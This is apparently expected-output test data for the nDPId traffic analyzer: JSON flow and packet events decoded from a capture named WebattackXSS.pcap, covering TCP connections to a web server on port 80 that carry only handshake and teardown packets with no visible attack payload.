+00444{"flow_id":560,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7931,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":471773,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhTjpB7A2s8h21KAScSAnOwAAAgQFtAQCCAoD5l3LATyMVwEDAwc="} +00432{"flow_id":560,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7932,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":472526,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+oVAAD4Gy1KsEAABwKgKMoU4AFCzyHbU6QewN4AQAOXGQgAAAQEICgE8jFcD5l3L"} +00432{"flow_id":557,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7936,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":878634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CqlAAD4Guy+sEAABwKgKMoUCAFC+4o3peI6Vw4ARAOUz2AAAAQEICgE8jLwD5ljE"} +00433{"flow_id":557,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7937,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":878852,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0y\/JAAEAG9+XAqAoyrBAAAQBQhQJ4jpXDvuKN6oARAOMubAAAAQEICgPmXjEBPIy8"} +00432{"flow_id":557,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7938,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":879602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CqpAAD4Guy6sEAABwKgKMoUCAFC+4o3qeI6VxIAQAOUuaQAAAQEICgE8jL0D5l4x"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7942,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":561,"flow_packet_id":1,"flow_first_seen":1499347923737,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":561,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7942,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":737050,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ldBAAD4GMACsEAABwKgKMoVGAFBUeRhDAAAAAKACchDd4QAAAgQFtAQCCAoBPI2TAAAAAAEDAwc="} +00444{"flow_id":561,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7943,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":737203,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhUa68naDVHkYRKAScSBKXQAAAgQFtAQCCAoD5l8HATyNkwEDAwc="} +00432{"flow_id":561,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7944,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":737734,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ldFAAD4GMAesEAABwKgKMoVGAFBUeRhEuvJ2hIAQAOXpZAAAAQEICgE8jZMD5l8H"} +00432{"flow_id":558,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7948,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":878449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vWdAAD4GCHGsEAABwKgKMoUQAFB11zX1I7su1YARAOWOUAAAAQEICgE8jbYD5loF"} +00432{"flow_id":558,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7949,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":878671,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cf5AAEAGUdrAqAoyrBAAAQBQhRAjuy7Vddc19oARAOOJKwAAAQEICgPmXysBPI22"} +00432{"flow_id":558,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7950,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347923,"pkt_ts_usec":879216,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vWhAAD4GCHCsEAABwKgKMoUQAFB11zX2I7su1oAQAOWJKAAAAQEICgE8jbcD5l8r"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7960,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":562,"flow_packet_id":1,"flow_first_seen":1499347926328,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":562,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7960,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":328507,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Y4hAAD4GYkisEAABwKgKMoVgAFAOjvOTAAAAAKACchBF2gAAAgQFtAQCCAoBPJAbAAAAAAEDAwc="} +00444{"flow_id":562,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7961,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":328679,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhWB82qzsDo7zlKAScSC3fAAAAgQFtAQCCAoD5mGPATyQGwEDAwc="} +00432{"flow_id":562,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":329410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y4lAAD4GYk+sEAABwKgKMoVgAFAOjvOUfNqs7YAQAOVWhAAAAQEICgE8kBsD5mGP"} +00432{"flow_id":559,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7966,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":878386,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rYRAAD4GGFSsEAABwKgKMoUqAFCWpCaU4YGl1YARAOVClAAAAQEICgE8kKQD5lyG"} +00433{"flow_id":559,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":879478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0x8xAAEAG\/AvAqAoyrBAAAQBQhSrhgaXVlqQmlYARAOM9AgAAAQEICgPmYhkBPJCk"} +00433{"flow_id":559,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347926,"pkt_ts_usec":880040,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rYVAAD4GGFOsEAABwKgKMoUqAFCWpCaV4YGl1oAQAOU8\/wAAAQEICgE8kKUD5mIZ"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":521,"flow_packet_id":6,"flow_first_seen":1499347852742,"flow_last_seen":1499347857860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33378,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":521,"flow_packet_id":6,"flow_first_seen":1499347852742,"flow_last_seen":1499347857860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33378,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":522,"flow_packet_id":6,"flow_first_seen":1499347855324,"flow_last_seen":1499347860860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33404,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":522,"flow_packet_id":6,"flow_first_seen":1499347855324,"flow_last_seen":1499347860860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33404,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":523,"flow_packet_id":6,"flow_first_seen":1499347856593,"flow_last_seen":1499347861860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33418,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":523,"flow_packet_id":6,"flow_first_seen":1499347856593,"flow_last_seen":1499347861860,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33418,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":524,"flow_packet_id":6,"flow_first_seen":1499347859192,"flow_last_seen":1499347864861,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33444,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":524,"flow_packet_id":6,"flow_first_seen":1499347859192,"flow_last_seen":1499347864861,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33444,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":525,"flow_packet_id":6,"flow_first_seen":1499347860489,"flow_last_seen":1499347865862,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33458,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":525,"flow_packet_id":6,"flow_first_seen":1499347860489,"flow_last_seen":1499347865862,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33458,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":526,"flow_packet_id":6,"flow_first_seen":1499347861783,"flow_last_seen":1499347866863,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33472,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7969,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":526,"flow_packet_id":6,"flow_first_seen":1499347861783,"flow_last_seen":1499347866863,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33472,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7972,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":563,"flow_packet_id":1,"flow_first_seen":1499347927657,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":563,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7972,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":657910,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NcxAAD4GkASsEAABwKgKMoVuAFCXD6SrAAAAAKACchAK5wAAAgQFtAQCCAoBPJFnAAAAAAEDAwc="} +00444{"flow_id":563,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7973,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":657999,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhW4waOSnlw+krKAScSCP9AAAAgQFtAQCCAoD5mLbATyRZwEDAwc="} +00433{"flow_id":563,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7974,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":658752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nc1AAD4GkAusEAABwKgKMoVuAFCXD6SsMGjkqIAQAOUu\/AAAAQEICgE8kWcD5mLb"} +00432{"flow_id":560,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7978,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":879208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+oZAAD4Gy1GsEAABwKgKMoU4AFCzyHbU6QewN4ARAOXA+QAAAQEICgE8kZ8D5l3L"} +00432{"flow_id":560,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7979,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":879419,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00yRAAEAG8LPAqAoyrBAAAQBQhTjpB7A3s8h21YARAOO7sgAAAQEICgPmYxMBPJGf"} +00432{"flow_id":560,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7980,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347927,"pkt_ts_usec":880011,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+odAAD4Gy1CsEAABwKgKMoU4AFCzyHbV6QewOIAQAOW7sAAAAQEICgE8kZ8D5mMT"} +00432{"flow_id":561,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7984,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347928,"pkt_ts_usec":879301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ldJAAD4GMAasEAABwKgKMoVGAFBUeRhEuvJ2hIARAOXkXQAAAQEICgE8kpkD5l8H"} +00433{"flow_id":561,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7985,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347928,"pkt_ts_usec":879514,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EolAAEAGsU\/AqAoyrBAAAQBQhUa68naEVHkYRYARAOPfWAAAAQEICgPmZA0BPJKZ"} +00432{"flow_id":561,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7986,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347928,"pkt_ts_usec":880078,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ldNAAD4GMAWsEAABwKgKMoVGAFBUeRhFuvJ2hYAQAOXfVgAAAQEICgE8kpkD5mQN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7993,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":564,"flow_packet_id":1,"flow_first_seen":1499347930265,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":564,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7993,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347930,"pkt_ts_usec":265843,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OHxAAD4GjVSsEAABwKgKMoWIAFCpfquPAAAAAKACchDu7QAAAgQFtAQCCAoBPJPzAAAAAAEDAwc="} +00444{"flow_id":564,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7994,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347930,"pkt_ts_usec":265968,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhYivvJwGqX6rkKAScSA6vAAAAgQFtAQCCAoD5mVnATyT8wEDAwc="} +00433{"flow_id":564,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347930,"pkt_ts_usec":266702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OH1AAD4GjVusEAABwKgKMoWIAFCpfquQr7ycB4AQAOXZwwAAAQEICgE8k\/MD5mVn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8002,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":565,"flow_packet_id":1,"flow_first_seen":1499347931529,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":565,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":529902,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8j75AAD4GNhKsEAABwKgKMoWWAFDyyRqRAAAAAKACchA1VwAAAgQFtAQCCAoBPJUvAAAAAAEDAwc="} +00444{"flow_id":565,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":530027,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhZYdLW4k8skakqAScSBAWwAAAgQFtAQCCAoD5majATyVLwEDAwc="} +00432{"flow_id":565,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8004,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":530792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j79AAD4GNhmsEAABwKgKMoWWAFDyyRqSHS1uJYAQAOXfYgAAAQEICgE8lS8D5maj"} +00432{"flow_id":562,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8008,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":879529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y4pAAD4GYk6sEAABwKgKMoVgAFAOjvOUfNqs7YARAOVRFwAAAQEICgE8lYcD5mGP"} +00432{"flow_id":562,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8009,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":879779,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0yhZAAEAG+cHAqAoyrBAAAQBQhWB82qztDo7zlYARAONLrAAAAQEICgPmZvsBPJWH"} 